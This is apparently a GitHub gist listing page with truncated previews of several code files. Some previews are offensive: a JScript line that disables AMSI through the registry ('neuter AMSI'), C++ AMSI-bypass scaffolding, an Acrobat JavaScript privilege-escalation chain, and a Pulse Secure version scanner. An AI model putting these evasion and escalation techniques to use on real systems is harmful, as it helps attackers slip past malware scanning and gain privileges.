This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <Windows.h> | |
| #include <Psapi.h> | |
| #include <metahost.h> | |
| #include <comutil.h> | |
| #include <mscoree.h> | |
| #include "patch_info.h" | |
| #include "base\helpers.h" | |
| /** | |
| * For the debug build we want: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <Windows.h> | |
| #include <stdio.h> | |
| #include "VEH.h" | |
| #include "ntos.h" | |
| #include "ntrtl.h" | |
| //#include "peb.h" | |
| #include "ntldr.h" | |
| #include "hwbp.h" | |
| #include "base\helpers.h" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| global.exec = function(obj, method, args) { | |
| app.beginPriv(); | |
| var ret = method.apply(obj, args); | |
| app.endPriv(); | |
| return ret; | |
| }; | |
| var stream = { read: app.trustedFunction.bind(app, global.exec) }; | |
| var ob = {}; | |
| ob["getMatchingFiles"] = SOAP.stringFromStream.bind(SOAP, stream); |
This file has been truncated, but you can view the full file.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| rule OpenSSL_EVP_BytesToKey_1_1_1w_x86_0d011599 | |
| { | |
| meta: | |
| version = "1.1.1w" | |
| compiler = "MSVC 2015" | |
| arch = "x86" | |
| strings: | |
| $a = { B8 68 00 00 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 44 24 64 8B 44 24 74 53 55 8B 6C 24 74 56 8B 74 24 7C 89 44 24 28 8B 84 24 90 00 00 00 57 8B BC 24 88 00 00 00 89 44 24 18 8B 84 24 98 00 00 00 55 89 6C 24 34 89 74 24 24 89 7C 24 2C 89 44 24 20 C7 44 24 18 00 00 00 00 C7 44 24 14 00 00 00 00 C7 44 24 28 00 00 00 00 E8 ?? ?? ?? ?? 55 8B D8 E8 ?? ?? ?? ?? 83 C4 08 8B E8 83 FB 40 7E 14 6A 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 0C 83 FD 10 7E 14 6A 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 0C 85 FF 75 15 5F 5E 5D 8B C3 5B 8B 4C 24 64 33 CC E8 ?? ?? ?? ?? 83 C4 68 C3 E8 ?? ?? ?? ?? 8B F8 85 FF 0F 84 84 01 00 00 6A 00 56 57 E8 ?? ?? ?? ?? 83 C4 0C 85 C0 0F 84 70 01 00 00 0F 1F 44 00 00 8B 4C 24 14 8B C1 41 89 4C 24 14 85 C0 74 1A FF 74 24 10 8D 44 24 38 50 57 E8 ?? ?? ?? ?? 83 C4 0C 85 C0 0F 84 42 01 00 00 FF B4 24 8C 00 00 00 FF |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| import sys | |
| import re | |
| HEADERS = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0"} | |
| if len(sys.argv) != 2: | |
| print " Usage: python pulseversion.py <target ip/domain>" | |
| sys.exit(1) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var sh = new ActiveXObject('WScript.Shell'); | |
| var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable"; | |
| try{ | |
| var AmsiEnable = sh.RegRead(key); | |
| if(AmsiEnable!=0){ | |
| throw new Error(1, ''); | |
| } | |
| }catch(e){ | |
| sh.RegWrite(key, 0, "REG_DWORD"); // neuter AMSI |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <Windows.h> | |
| #include <iostream> | |
| #include <fstream> | |
| #include <amsi.h> | |
| #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) | |
| #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) | |
| // https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/ | |
| typedef struct tagHAMSICONTEXT { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from Crypto.Cipher import AES, DES3 | |
| from Crypto.Hash import HMAC, SHA1, SHA512, SHA256 | |
| from Crypto.Util.Padding import pad | |
| from io import BytesIO | |
| import argparse | |
| import string | |
| import base64 | |
| import uuid | |
| import os |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # fix wmi | |
| winmgmt /resetrepository | |
| Restart-Service Winmgmt | |
| Get-CimInstance -Namespace root/cimv2 -ClassName Win32_PingStatus -Filter "Address='www.microsoft.com'" | |
| # alternative method: set high bandwidth limit for Delivery Optimization | |
| reg add "HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings" /v "DownloadMode" /t REG_DWORD /d 0 /f | |
| reg add "HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings" /v "DownloadModeProvider" /t REG_DWORD /d 8 /f | |
| reg add "HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings" /v "DownloadRateBackgroundBps" /t REG_DWORD /d 4294967295 /f | |
| reg add "HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings" /v "DownloadRateBackgroundBpsProvider" /t REG_DWORD /d 8 /f |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const ffi = require('ffi-napi'); | |
| const ref = require("ref-napi"); | |
| const Struct = require("ref-struct-di")(ref); | |
| const fs = require('fs') | |
| const ArrayType = require('ref-array-napi') | |
| var Union = require('ref-union-napi'); | |
| /* | |
| Dependencies: | |
| $ npm install ffi-napi |
NewerOlder